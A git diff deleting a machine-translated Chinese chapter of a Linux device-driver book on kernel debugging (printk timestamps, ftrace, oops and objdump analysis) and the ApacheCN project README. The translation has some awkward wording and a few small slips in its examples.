在配置内核时,可以在**内核破解**菜单上找到此选项。 启用后,此计时信息会为每条日志消息添加如下前缀: - -```sh -$ dmesg -[…] -[    1.260037] loop: module loaded -[    1.260194] libphy: Fixed MDIO Bus: probed -[    1.260195] tun: Universal TUN/TAP device driver, 1.6 -[    1.260224] PPP generic driver version 2.4.2 -[    1.260260] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver -[    1.260262] ehci-pci: EHCI PCI platform driver -[    1.260775] ehci-pci 0000:00:1a.7: EHCI Host Controller -[    1.260780] ehci-pci 0000:00:1a.7: new USB bus registered, assigned bus number 1 -[    1.260790] ehci-pci 0000:00:1a.7: debug port 1 -[    1.264680] ehci-pci 0000:00:1a.7: cache line size of 64 is not supported -[    1.264695] ehci-pci 0000:00:1a.7: irq 22, io mem 0xf7ffa000 -[    1.280103] ehci-pci 0000:00:1a.7: USB 2.0 started, EHCI 1.00 -[    1.280146] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002 -[    1.280147] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1 -[…] -``` - -插入到内核消息输出中的时间戳由秒和微秒(实际上是`seconds.microseconds`)组成,它们是从机器操作开始(或从内核计时开始)的绝对值,它对应于引导加载程序将控制权移交给内核的时间(当您在控制台上看到类似`[ 0.000000] Booting Linux on physical CPU 0x0`的时候)。 - -通过写入`/sys/module/printk/parameters/time`以启用和禁用`printk`时间戳,可以在运行时控制打印时间。 以下是示例: - -```sh -# echo 1 >/sys/module/printk/parameters/time -# cat /sys/module/printk/parameters/time -N -# echo 1 >/sys/module/printk/parameters/time -# cat /sys/module/printk/parameters/time -Y -``` - -它不控制是否记录时间戳。 它只控制是在转储内核消息缓冲区时、在引导时还是在使用`dmesg`时打印它。 这可能是引导时间优化的区域。 如果禁用,打印日志所需的时间会更短。 - -我们现在熟悉内核打印 API 及其日志缓冲区。 我们已经了解了如何调整消息缓冲区,并根据需要添加或删除信息。 这些技能可以用于打印调试。 但是,Linux 内核中附带了其他调试和跟踪工具,下一节将介绍其中的一些工具。 - -# Linux 内核跟踪与性能分析 - -尽管通过打印进行的调试涵盖了大多数调试需求,但在某些情况下,我们需要在运行时监视 Linux 内核以跟踪奇怪的行为,包括延迟、CPU 占用、调度问题等等。 在 Linux 世界中,实现这一点最有用的工具是内核本身的一部分。 最重要的是`ftrace`,它是 Linux 内核内部跟踪工具,也是本节的主要主题。 - -## 使用 Ftrace 检测代码 - -**函数跟踪**,简写为**ftrace**,它做的比它的名字所说的要多得多。 例如,它可用于测量处理中断所需的时间、跟踪耗时的功能、计算激活高优先级任务的时间、跟踪上下文切换等。 - -Ftrace 由*Steven Rostedt*开发,从 2008 年的 2.6.27 版开始就包含在内核中。 这是为记录数据提供调试环形缓冲区的框架。 此数据由内核的集成跟踪程序收集。 Ftrace 在`debugfs`文件系统之上工作,并且在大多数情况下,当启用它时,它会挂载在名为`tracing`的自己的目录中。 在大多数现代 Linux 发行版中,它默认挂载在`/sys/kernel/debug/`目录中(这只对 root 用户可用),这意味着您可以从`/sys/kernel/debug/tracing/`中利用 ftrace。 - -以下是为在您的系统上支持 Ftrace 而要启用的内核选项: - -```sh -CONFIG_FUNCTION_TRACER -CONFIG_FUNCTION_GRAPH_TRACER -CONFIG_STACK_TRACER -CONFIG_DYNAMIC_FTRACE -``` - -前面的选项取决于通过启用`CONFIG_HAVE_FUNCTION_TRACER`、`CONFIG_HAVE_DYNAMIC_FTRACE`和`CONFIG_HAVE_FUNCTION_GRAPH_TRACER`选项来支持跟踪功能的体系结构。 - -要挂载`tracefs`目录,您可以将以下行添加到您的`/etc/fstab`文件: - -```sh -tracefs   /sys/kernel/debug/tracing   tracefs defaults   0   0 -``` - -或者,您可以在运行时借助以下命令挂载它: - -```sh -mount -t tracefs nodev /sys/kernel/debug/tracing -``` - -目录的内容应如下所示: - -```sh -# ls /sys/kernel/debug/tracing/ -README                      set_event_pid -available_events            set_ftrace_filter -available_filter_functions  set_ftrace_notrace -available_tracers           set_ftrace_pid -buffer_size_kb              set_graph_function -buffer_total_size_kb        set_graph_notrace -current_tracer              snapshot -dyn_ftrace_total_info       stack_max_size -enabled_functions           stack_trace -events                      stack_trace_filter -free_buffer                 trace -function_profile_enabled    trace_clock -instances                   trace_marker -max_graph_depth             trace_options -options                     trace_pipe -per_cpu                     trace_stat -printk_formats              tracing_cpumask -saved_cmdlines              tracing_max_latency -saved_cmdlines_size         tracing_on -set_event                   tracing_thresh -``` - -我们不会描述所有这些文件和子目录,因为官方的文档中已经对此进行了介绍。 相反,我们只简要描述与我们的上下文相关的文件: - -* `available_tracers`:可用的跟踪程序。 -* `tracing_cpumask`:这允许跟踪选定的 CPU。 掩码应以十六进制字符串格式指定。 例如,要只跟踪核心`0`,您应该在此文件中包含一个`1`。 要跟踪核心`1`,应该在其中包括一个`2`。 对于核心`3`,应包括数字`8`。 -* `current_tracer`:当前正在运行的跟踪程序。 -* `tracing_on`:负责启用或禁用向环形缓冲区写入数据的系统文件(要启用该文件,必须将编号`1`添加到该文件中;要禁用该文件,必须添加编号`0`)。 -* `trace`:以人类可读格式保存跟踪数据的文件。 - -现在我们已经介绍了 Ftrace 并描述了它的功能,我们可以深入研究它的用法,并了解它对于跟踪和调试有多有用。 - -### 可用的示踪剂 - -我们可以使用以下命令查看可用的跟踪器列表: - -```sh -# cat /sys/kernel/debug/tracing/available_tracers -blk function_graph wakeup_dl wakeup_rt wakeup irqsoff function nop -``` - -让我们快速了解一下每个跟踪器的功能: - -* `function`:不带参数的函数调用跟踪器。 -* `function_graph`:带子调用的函数调用跟踪器。 -* `blk`:与块设备 I/O 操作相关的调用和事件跟踪器(这是`blktrace`使用的)。 -* `mmiotrace`:内存映射 I/O 操作跟踪器。 它跟踪模块对硬件进行的所有调用。 它由`CONFIG_ MMIOTRACE`启用,这取决于`CONFIG_HAVE_MMIOTRACE_SUPPORT`。 -* `irqsoff`:跟踪禁用中断的区域,并保存最长延迟的跟踪。 该示踪剂依赖于`CONFIG_IRQSOFF_TRACER`。 -* `preemptoff`:取决于`CONFIG_PREEMPT_TRACER`。 它类似于`irqsoff`,但会跟踪和记录禁用抢占的时间量。 -* `preemtirqsoff`:类似于`irqsoff`和`preemptoff`,但它跟踪并记录 IRQS 和/或抢占被禁用的最长时间。 -* `wakeup`和`wakeup_rt`,由`CONFIG_SCHED_TRACER`启用:前者跟踪并记录最高优先级任务在被唤醒后调度所需的最大延迟,而后者跟踪并记录仅**实时**(**rt**)任务所需的最大延迟(与当前的`wakeup`跟踪器相同)。 -* `nop`:最简单的跟踪器,顾名思义,它什么都不做。 `nop`跟踪器只显示`trace_printk()`调用的输出。 - -`irqsoff`、`preemptoff`和`preemtirqsoff`是所谓的延迟跟踪器。 它们测量中断被禁用多长时间、抢占被禁用多长时间以及中断和/或抢占被禁用多长时间。 唤醒延迟跟踪器测量进程在所有任务或仅针对 RT 任务被唤醒后运行所需的时间。 - -### 函数跟踪器 - -我们将从函数跟踪器开始介绍 Ftrace。 让我们看一个测试脚本: - -```sh -# cd /sys/kernel/debug/tracing -# echo function > current_tracer -# echo 1 > tracing_on -# sleep 1 -# echo 0 > tracing_on -# less trace -``` - -这个脚本相当简单,但有几点值得注意。 我们通过将当前跟踪程序的名称写入`current_tracer`文件来启用该跟踪程序。 接下来,我们将`1`写入`tracing_on`,这将启用环形缓冲区。 语法要求在`1`和`>`符号之间留一个空格;`echo1> tracing_on`将不起作用。 一行之后,我们禁用它(如果将`0`写入`tracing_on`,缓冲区将不会清除,Ftrace 也不会被禁用)。 - -我们为什么要这么做? 在两个`echo`命令之间,我们可以看到`sleep 1`命令。 我们启用缓冲区,运行此命令,然后禁用它。 这使跟踪程序可以包括与命令运行时发生的所有系统调用相关的信息。 在脚本的最后一行,我们给出了在控制台中显示跟踪数据的命令。 运行脚本后,我们将看到以下打印输出(这只是一小段): - -![Figure 14.1 – Ftrace function tracer snapshot ](img/Figure_14.1_B10985.jpg) - -图 14.1-Ftrace 函数跟踪器快照 - -打印输出以与缓冲区中的条目数和写入的条目总数有关的信息开始。 这两个数字之间的差异在于填充缓冲区时丢失的事件数。 然后,有一个函数列表,其中包括以下信息: - -* 进程名称(`TASK`)。 -* 进程标识符(`PID`)。 -* 进程在其上运行的 CPU(`CPU#`)。 -* 功能开始时间(`TIMESTAMP`)。 此时间戳是自启动以来的时间。 -* 被跟踪的函数的名称(`FUNCTION`)以及在`<-`符号之后调用的父函数。 例如,在输出的第一行中,`handle_fasteoi_irq`调用了`irq_may_run`函数。 - -现在我们已经熟悉了函数跟踪器及其特性,我们可以了解下一个跟踪器,它功能更丰富,提供了更多的跟踪信息,比如调用图。 - -### 函数图形跟踪器 - -`function_graph`跟踪器的工作方式与函数类似,但方式更详细:显示每个函数的入口点和出口点。 使用这个跟踪器,我们可以跟踪带子调用的函数,并测量每个函数的执行时间。 - -让我们编辑上一个示例中的脚本: - -```sh -# cd /sys/kernel/debug/tracing -# echo function_graph > current_tracer -# echo 1 > tracing_on -# sleep 1 -# echo 0 > tracing_on -# less trace -``` - -运行此脚本后,我们将获得以下打印输出: - -```sh -# tracer: function_graph -# -# CPU  DURATION                  FUNCTION CALLS -# |     |   |                     |   |   |   | - 5)   0.400 us    |                } /* set_next_buddy */ - 5)   0.305 us    |                __update_load_avg_se(); - 5)   0.340 us    |                __update_load_avg_cfs_rq(); - 5)               |                update_cfs_group() { - 5)               |                  reweight_entity() { - 5)               |                    update_curr() { - 5)   0.376 us    |                      __calc_delta(); - 5)   0.308 us    |                      update_min_vruntime(); - 5)   1.754 us    |                    } - 5)   0.317 us    |                   account_entity_dequeue(); - 5)   0.260 us    |                   account_entity_enqueue(); - 5)   3.537 us    |                  } - 5)   4.221 us    |                } - 5)   0.261 us    |                hrtick_update(); - 5) + 16.852 us   |              } /* dequeue_task_fair */ - 5) + 23.353 us   |            } /* deactivate_task */ - 5)               |            pick_next_task_fair() { - 5)   0.286 us    |              update_curr(); - 5)   0.271 us    |              check_cfs_rq_runtime(); - 5)               |              pick_next_entity() { - 5)   0.441 us    |            wakeup_preempt_entity.isra.77(); - 5)   0.306 us    |                clear_buddies(); - 5)   1.645 us    |              } - ------------------------------------------ - 5) SCTP ti-27174  =>  Composi-2089 - ------------------------------------------ - 5)   0.632 us    |              __switch_to_xtra(); - 5)   0.350 us    |              finish_task_switch(); - 5) ! 271.440 us  |            } /* schedule */ - 5)               |            _cond_resched() { - 5)   0.267 us    |              rcu_all_qs(); - 5)   0.834 us    |            } - 5) ! 273.311 us  |          } /* futex_wait_queue_me */ -``` - -在此图中,`DURATION`显示运行函数所花费的时间。 注意用`+`和`!`符号标记的点。 加号(`+`)表示运行时间超过 10 微秒,而感叹号(`!`)表示运行时间超过 100 微秒。 在`FUNCTION_CALLS`下,我们找到与每个函数调用有关的信息。 用于表示每个函数的开始和结束的符号与 C 编程语言中的相同:大括号(`{}`)分隔函数,一个在开始,一个在结束;不调用任何其他函数的叶函数用分号(`;`)标记。 - -Ftrace 还允许使用`tracing_thresh`选项将跟踪限制在超过一定时间的函数上。 应该记录功能的时间阈值必须以微秒为单位写入该文件。 这可以用来查找在内核中花费很长时间的例程。 在内核启动时使用它来帮助优化启动时间可能很有趣。 要在启动时设置阈值,可以在内核命令行中设置,如下所示: - -```sh -tracing_thresh=200 ftrace=function_graph -``` - -这将跟踪所有耗时超过 200 微秒(0.2 毫秒)的功能。 您可以使用任何您想要的持续时间阈值。 - -在运行时,您可以简单地执行`echo 200 > tracing_thresh`。 - -### 函数过滤器 - -挑选并选择要跟踪的函数。 不用说,要跟踪的函数越少,开销就越小。 Ftrace 打印输出可能会很大,而且要准确找到您要找的内容可能非常困难。 但是,我们可以使用过滤器来简化搜索:打印输出将只显示有关我们感兴趣的函数的信息。 为此,我们只需在`set_ftrace_filter`文件中写入函数名称,如下所示: - -```sh -# echo kfree > set_ftrace_filter -``` - -要禁用过滤器,我们在此文件中添加一个空行: - -```sh -# echo  > set_ftrace_filter -``` - -我们运行以下命令: - -```sh -# echo kfree > set_ftrace_notrace -``` - -结果正好相反:打印输出将给出除`kfree()`之外的每个函数的信息。 另一个有用的选项是`set_ftrace_pid`。 此工具用于跟踪可以代表特定进程调用的函数。 - -Ftrace 有更多的过滤选项。 要更详细地了解这些内容,您可以阅读[https://www.kernel.org/doc/Documentation/trace/ftrace.txt](https://www.kernel.org/doc/Documentation/trace/ftrace.txt)上提供的官方文档。 - -### 跟踪事件 - -在介绍跟踪事件之前,让我们先来讨论一下**个跟踪点**。 跟踪点是触发系统事件的特殊代码插入。 跟踪点可以是动态的(意味着它们有几个附加的检查),也可以是静态的(没有附加检查)。 - -静态跟踪点不会以任何方式影响系统;它们只是在插入指令的函数的末尾为函数调用添加几个字节,并在单独的部分中添加数据结构。 动态跟踪点在执行相关代码段时调用跟踪函数。 跟踪数据被写入环形缓冲区。 跟踪点可以包含在代码中的任何位置。 事实上,它们已经可以在很多内核函数中找到。 让我们看一下摘自`mm/slab.c`的`kmem_cache_free`函数: - -```sh -void kmem_cache_free(struct kmem_cache *cachep, void *objp) -{ - [...] - trace_kmem_cache_free(_RET_IP_, objp); -} -``` - -`kmem_cache_free`那么它本身就是一个跟踪点。 只需查看其他内核函数的源代码,我们就可以找到更多的例子。 - -Linux 内核有一个特殊的 API,用于从用户空间使用跟踪点。 在`/sys/kernel/debug/tracing`目录中,有一个保存系统事件的`events`目录。 这些可用于跟踪。 此上下文中的系统事件可以理解为内核中包含的跟踪点。 - -可以通过运行以下命令查看这些列表: - -```sh -# cat /sys/kernel/debug/tracing/available_events -mac80211:drv_return_void -mac80211:drv_return_int -mac80211:drv_return_bool -mac80211:drv_return_u32 -mac80211:drv_return_u64 -mac80211:drv_start -mac80211:drv_get_et_strings -mac80211:drv_get_et_sset_count -mac80211:drv_get_et_stats -mac80211:drv_suspend -[...] -``` - -控制台中将打印出带有`:`图案的长列表。 这有点不方便。 我们可以使用以下命令打印出更结构化的列表: - -```sh -# ls /sys/kernel/debug/tracing/events -block         gpio          napi          regmap      syscalls -cfg80211      header_event  net           regulator   task -clk           header_page   oom           rpm         timer -compaction    i2c           pagemap       sched       udp -enable        irq           power         signal      vmscan -fib           kmem          printk        skb         workqueue -filelock      mac80211      random        sock        writeback -filemap       migrate       raw_syscalls  spi -ftrace        module        rcu           swiotlb -``` - -所有可能的事件按子系统组合在子目录中。 在开始跟踪事件之前,我们将确保已经启用了对环形缓冲区的写入。 - -在[*第 1 章*](01.html#_idTextAnchor015),*面向嵌入式开发人员的 Linux 内核概念*中,我们介绍了*hrtimers*。 通过列出`/sys/kernel/debug/tracing/events/timer`的内容,我们将拥有与定时器相关的跟踪点,包括与`hrtimer`相关的跟踪点,如下所示: - -```sh -# ls /sys/kernel/debug/tracing/events/timer -enable                hrtimer_init          timer_cancel -filter                hrtimer_start         timer_expire_entry -hrtimer_cancel        itimer_expire         timer_expire_exit -hrtimer_expire_entry  itimer_state          timer_init -hrtimer_expire_exit   tick_stop             timer_start -# -``` - -现在让我们跟踪对与`hrtimer`相关的内核函数的访问。 对于我们的跟踪器,我们将使用`nop`,因为`function`和`function_graph`记录了太多的信息,包括我们不感兴趣的事件信息。 以下是我们将使用的脚本: - -```sh -# cd /sys/kernel/debug/tracing/ -# echo 0 > tracing_on -# echo > trace -# echo nop > current_tracer -# echo 1 > events/timer/enable -# echo 1 > tracing_on; -# sleep 1; -# echo 0 > tracing_on; -# echo 0 > events/timer/enable -# less trace -``` - -我们首先禁用跟踪,以防它已经在运行。 然后,我们在将电流跟踪器设置为`nop`之前清除环形缓冲区数据。 接下来,我们启用与计时器相关的跟踪点,或者应该说,我们启用了计时器事件跟踪。 最后,我们启用跟踪并转储环形缓冲区内容,如下所示: - -![Figure 14.2 – Ftrace event tracing with the nop tracer snapshot ](img/Figure_14.2_B10985.jpg) - -图 14.2-使用 NOP 跟踪程序快照进行 Ftrace 事件跟踪 - -在打印输出的末尾,我们将找到有关`hrtimer`函数调用的信息(这里是一小部分)。 有关配置事件跟踪的更多详细信息可以在此处找到:[https://www.kernel.org/doc/Documentation/trace/events.txt](https://www.kernel.org/doc/Documentation/trace/events.txt)。 - -### 使用 Ftrace 接口跟踪特定进程 - -使用 Ftrace 作为可以让您拥有支持跟踪的内核跟踪点/函数,而不管这些函数代表哪个进程运行。 要只跟踪代表特定函数执行的内核函数,您应该将伪`set_ftrace_pid`变量设置为进程的**进程 ID**(**PID**),例如,可以使用`pgrep`获得。 如果进程尚未运行,则可以使用包装器外壳脚本和`exec`命令以已知 PID 执行命令,如下所示: - -```sh -#!/bin/sh -echo $$ > /debug/tracing/set_ftrace_pid -# [can set other filtering here] -echo function_graph > /debug/tracing/current_tracer -exec $* -``` - -在前面的示例中,`$$`是当前执行的进程(shell 脚本本身)的 PID。 这是在`set_ftrace_pid`变量中设置的,然后启用`function_graph`跟踪器,之后该脚本执行命令(由脚本的第一个参数指定)。 - -假设脚本名称为`trace_process.sh`,用法示例如下: - -```sh -sudo ./trace_command ls -``` - -现在我们熟悉跟踪事件和跟踪点。 我们能够跟踪和跟踪特定的内核事件或子系统。 虽然跟踪在内核开发方面是必须的,但不幸的是,有些情况会影响内核的稳定性。 这类情况可能需要脱离目标的分析,这将在调试中讨论,并将在下一节中讨论。 - -# Linux 内核调试技巧 - -编写代码并不总是内核开发中最难的方面。 调试是真正的瓶颈,即使对于经验丰富的内核开发人员也是如此。 也就是说,大多数内核调试工具都是内核本身的一部分。 有时,内核通过称为**Oops**的消息帮助查找故障的起因。 然后,调试归结为分析消息。 - -## 糟糕和恐慌分析 - -OOPS 是 Linux 内核在发生错误或未处理的异常时打印的消息。 它尽最大努力描述异常,并在错误或异常发生之前转储调用堆栈。 - -以以下内核模块为例: - -```sh -#include -#include -#include - -static void __attribute__ ((__noinline__)) create_oops(void) { -        *(int *)0 = 0; -} - -static int __init my_oops_init(void) { -       printk("oops from the module\n"); -       create_oops(); -       return 0; -} -static void __exit my_oops_exit(void) { -       printk("Goodbye world\n"); -} -module_init(my_oops_init); -module_exit(my_oops_exit); -MODULE_LICENSE("GPL"); -``` - -在前面的模块代码中,我们试图取消引用空指针,以使内核恐慌。 此外,我们使用`__noinline__`属性以使`create_oops()`不是内联的,从而允许它在反汇编期间和调用堆栈中显示为一个单独的函数。 此模块已在 ARM 和 x86 平台上构建和测试。 OOPS 消息和内容因机器而异: - -```sh -# insmod /oops.ko -[29934.977983] Unable to handle kernel NULL pointer dereference at virtual address 00000000 -[29935.010853] pgd = cc59c000 -[29935.013809] [00000000] *pgd=00000000 -[29935.017425] Internal error: Oops - BUG: 805 [#1] PREEMPT ARM -[...] -[29935.193185] systime: 1602070584s -[29935.196435] CPU: 0 PID: 20021 Comm: insmod Tainted: P           O    4.4.106-ts-armv7l #1 -[29935.204629] Hardware name: Columbus Platform -[29935.208916] task: cc731a40 ti: cc66c000 task.ti: cc66c000 -[29935.214354] PC is at create_oops+0x18/0x20 [oops] -[29935.219082] LR is at my_oops_init+0x18/0x1000 [oops] -[29935.224068] pc : []    lr : []    psr: 60000013 -[29935.224068] sp : cc66dda8  ip : cc66ddb8  fp : cc66ddb4 -[29935.235572] r10: cc68c9a4  r9 : c08058d0  r8 : c08058d0 -[29935.240813] r7 : 00000000  r6 : c0802048  r5 : bf045000  r4 : cd4eca40 -[29935.247359] r3 : 00000000  r2 : a6af642b  r1 : c05f3a6a  r0 : 00000014 -[29935.253906] Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment none -[29935.261059] Control: 10c5387d  Table: 4c59c059  DAC: 00000051 -[29935.266822] Process insmod (pid: 20021, stack limit = 0xcc66c208) -[29935.272932] Stack: (0xcc66dda8 to 0xcc66e000) -[29935.277311] dda0:                   cc66ddc4 cc66ddb8 bf045018 bf2a800c cc66de44 cc66ddc8 -[29935.285518] ddc0: c01018b4 bf04500c cc66de0c cc66ddd8 c01efdbc a6af642b cff76eec cff6d28c -[29935.293725] dde0: cf001e40 cc24b600 c01e80b8 c01ee628 cf001e40 c01ee638 cc66de44 cc66de08 -[...] -[29935.425018] dfe0: befdcc10 befdcc00 004fda50 b6eda3e0 a0000010 00000003 00000000 00000000 -[29935.433257] Code: e24cb004 e52de004 e8bd4000 e3a03000 (e5833000) -[29935.462814] ---[ end trace ebc2c98aeef9342e ]--- -[29935.552962] Kernel panic - not syncing: Fatal exception -``` - -让我们仔细看看前面的转储,以了解一些重要的信息: - -```sh -[29934.977983] Unable to handle kernel NULL pointer dereference at virtual address 00000000 -``` - -第一行描述了 bug 及其性质,在本例中为,说明代码试图取消引用`NULL`指针: - -```sh -[29935.214354] PC is at create_oops+0x18/0x20 [oops] -``` - -**PC**代表**程序计数器**,表示存储器中当前执行的指令地址。 在这里,我们看到我们在`create_oops`函数中,该函数位于`oops`模块中(在方括号中列出)。 十六进制数字表示函数中的指令指针是`24`(十六进制的`0x18`)字节,看起来是`32`(十六进制的`0x20`)字节长: - -```sh -[29935.219082] LR is at my_oops_init+0x18/0x1000 [oops] -``` - -`LR`是链接寄存器,它包含程序计数器到达“返回子例程”指令时应设置到的地址。 换句话说,`LR`保存调用当前正在执行的函数(`PC`所在的函数)的函数的地址。 首先,这意味着`my_oops_init`是调用执行代码的函数。 它还意味着,如果`PC`中的函数已返回,则要执行的下一行将是`my_oops_init+0x18`,这意味着 CPU 将在从`my_oops_init`的起始地址开始的`0x18`偏移处分支: - -```sh -[29935.224068] pc : []    lr : []    psr: 60000013 -``` - -在前面的代码行中,`pc`和`lr`是`PC`和`LR`的实际十六进制内容,没有显示符号名称。 这些地址可以与`addr2line`程序一起使用,`addr2line`程序是另一个我们可以用来查找故障线路的工具。 这就是如果内核是在禁用`CONFIG_KALLSYMS`选项的情况下构建的,我们将在打印输出中看到这一点。 然后我们可以推断出`create_oops`和`my_oops_init`的地址分别是`0xbf2a8000`和`0xbf045000`: - -```sh -[29935.224068] sp : cc66dda8  ip : cc66ddb8  fp : cc66ddb4 -``` - -**sp**代表**堆栈指针**并保存堆栈中的当前位置,而**fp**代表**帧指针**并指向堆栈中当前活动的帧。 当函数返回时,堆栈指针恢复为帧指针,帧指针是恰好在函数被调用之前的堆栈指针的值。 以下来自维基百科的例子很好地解释了这一点: - -例如,`DrawLine`的堆栈帧将具有保存`DrawSquare`使用的帧指针值的内存位置。 该值在进入子例程时保存,并在返回时恢复: - -```sh -[29935.235572] r10: cc68c9a4  r9 : c08058d0  r8 : c08058d0 -[29935.240813] r7 : 00000000  r6 : c0802048  r5 : bf045000  r4 : cd4eca40 -[29935.247359] r3 : 00000000  r2 : a6af642b  r1 : c05f3a6a  r0 : 00000014 -``` - -上面是多个 CPU 寄存器的转储: - -```sh -[29935.266822] Process insmod (pid: 20021, stack limit = 0xcc66c208) -``` - -前面的一行显示了发生死机的进程,在本例中为`insmod`,其 PID 为`20021`。 - -还有 oops,其中存在回溯,有点类似于以下内容,它是通过键入`echo c > /proc/sysrq-trigger`生成的 oops 的摘录: - -![Figure 14.3 – Backtrace excerpt in a kernel oops ](img/Figure_14.3_B10985.jpg) - -图 14.3-内核 OOPS 中的回溯摘录 - -回溯跟踪在生成 OOP 之前跟踪函数调用历史: - -```sh -[29935.433257] Code: e24cb004 e52de004 e8bd4000 e3a03000 (e5833000) -``` - -`Code`是发生 OOPS 时正在运行的机器代码段的十六进制转储。 - -### OOPS 上的跟踪转储 - -当内核崩溃时,可以将`kdump`/`kexec`与`crash`实用程序一起使用,以检查系统在崩溃时的状态。 但是,这种技术不能让您看到在导致崩溃的事件之前发生了什么,这可能是理解或修复错误的一个很好的输入。 - -Ftrace 附带了一个试图解决此问题的功能。 为了启用它,您可以将`1`回显到`/proc/sys/kernel/ftrace_dump_on_oops`,或者在内核引导参数中启用`ftrace_dump_on_oops`。 在启用此功能的情况下配置 Ftrace 将指示 Ftrace 在 Oop 或死机时以 ASCII 格式将整个跟踪缓冲区转储到控制台。 让控制台输出到串行线使调试崩溃变得容易得多。 这样,您就可以设置好一切,只需等待崩溃。 一旦发生,您将在控制台上看到跟踪缓冲区。 然后,您将能够追溯导致坠机的事件。 跟踪事件可以追溯到多远取决于跟踪缓冲区的大小,因为这是存储事件历史数据的地方。 - -也就是说,转储到控制台可能需要很长时间,而且通常会在将所有内容放到适当位置之前缩小跟踪缓冲区,因为默认的 Ftrace 环形缓冲区超过每个 CPU 1 兆字节。 您可以使用`/sys/kernel/debug/tracing/buffer_size_kb`来减少跟踪缓冲区的大小,方法是在该文件中写入您想要的环形缓冲区的千字节数。 请注意,该值是按 CPU 计算的,而不是环形缓冲区的总大小。 - -以下是修改跟踪缓冲区大小的示例: - -```sh -# echo 3 > /sys/kernel/debug/tracing/buffer_size_kb -``` - -前面的命令将把 Ftrace 环形缓冲区缩小到每个 CPU 3KB(1KB 可能就足够了;这取决于在崩溃之前需要返回多远)。 - -## 使用 objdump 识别内核模块中的错误代码行 - -我们可以使用`objdump`来反汇编目标文件,并识别生成 OOP 的行。 我们使用反汇编的代码来处理符号名称和偏移量,以便指向准确的故障线。 - -以下行将反汇编`oops.as`文件中的内核模块: - -```sh -arm-XXXX-objdump -fS  oops.ko > oops.as -``` - -生成的输出文件将包含类似以下内容的内容: - -```sh -[...] -architecture: arm, flags 0x00000011: -HAS_RELOC, HAS_SYMS -start address 0x00000000 -Disassembly of section .text.unlikely: -00000000 : -   0: e1a0c00d mov ip, sp -   4: e92dd800 push {fp, ip, lr, pc} -   8: e24cb004 sub fp, ip, #4 -   c: e52de004 push {lr} ; (str lr, [sp, #-4]!) -  10: ebfffffe bl 0 <__gnu_mcount_nc> -  14: e3a03000 mov r3, #0 -  18: e5833000 str r3, [r3] -  1c: e89da800 ldm sp, {fp, sp, pc} -Disassembly of section .init.text: -00000000 : -   0: e1a0c00d mov ip, sp -   4: e92dd800 push {fp, ip, lr, pc} -   8: e24cb004 sub fp, ip, #4 -   c: e59f000c    ldr   r0, [pc, #12]    ; 20     -  10: ebfffffe bl 0 -  14: ebfffffe bl 0 -  18: e3a00000 mov r0, #0 -  1c: e89da800 ldm sp, {fp, sp, pc} -  20: 00000000 .word 0x00000000 -Disassembly of section .exit.text: -00000000 : -   0: e1a0c00d mov ip, sp -   4: e92dd800 push {fp, ip, lr, pc} -   8: e24cb004 sub fp, ip, #4 -   c: e59f0004 ldr r0, [pc, #4] ; 18     -  10: ebfffffe bl 0 -  14: e89da800 ldm sp, {fp, sp, pc} -  18: 00000016 .word 0x00000016 -``` - -重要音符 - -编译模块时启用调试选项将使调试信息在`.ko`对象中可用。 在这种情况下,`objdump -S`将插入源代码和程序集以获得更好的视图。 - -从 OOPS 中,我们已经看到 PC 位于`create_oops+0x18`,它位于`create_oops`地址的`0x18`偏移量。 这就把我们带到了`18: e5833000 str r3, [r3]`线。 为了理解我们感兴趣的行,让我们描述一下它之前的行`mov r3, #0`。 在这行之后,我们有`r3 = 0`。 回到我们感兴趣的领域,对于熟悉 ARM 汇编语言的人来说,这意味着将`r3`写到`r3`所指向的原始地址(`[r3]`的 C 等价物是`*r3`)。 请记住,这对应于我们代码中的`*(int *)0 = 0`。 - -# 摘要 - -本章介绍了一些内核调试技巧,并解释了如何使用 Ftrace 跟踪代码以识别奇怪的行为,如耗时的函数和 IRQ 延迟。 我们讨论了核心驱动或设备驱动相关代码的 API 打印。 最后,我们学习了如何分析和调试内核 OOP。 - -这一章标志着这本书的结束,我希望你在阅读这本书的过程中和我在写这本书的时候一样享受这段旅程。 我也希望我在这本书中传授知识的最大努力能对你有所帮助。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/README.md b/docs/master-linux-device-driver-dev/README.md deleted file mode 100644 index a5a73c8e..00000000 --- a/docs/master-linux-device-driver-dev/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 Linux 设备驱动开发 - -> 原文:[Mastering Linux Device Driver Development](https://libgen.rs/book/index.php?md5=95A00CE7D8C2703D7FF8A1341D391E8B) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git 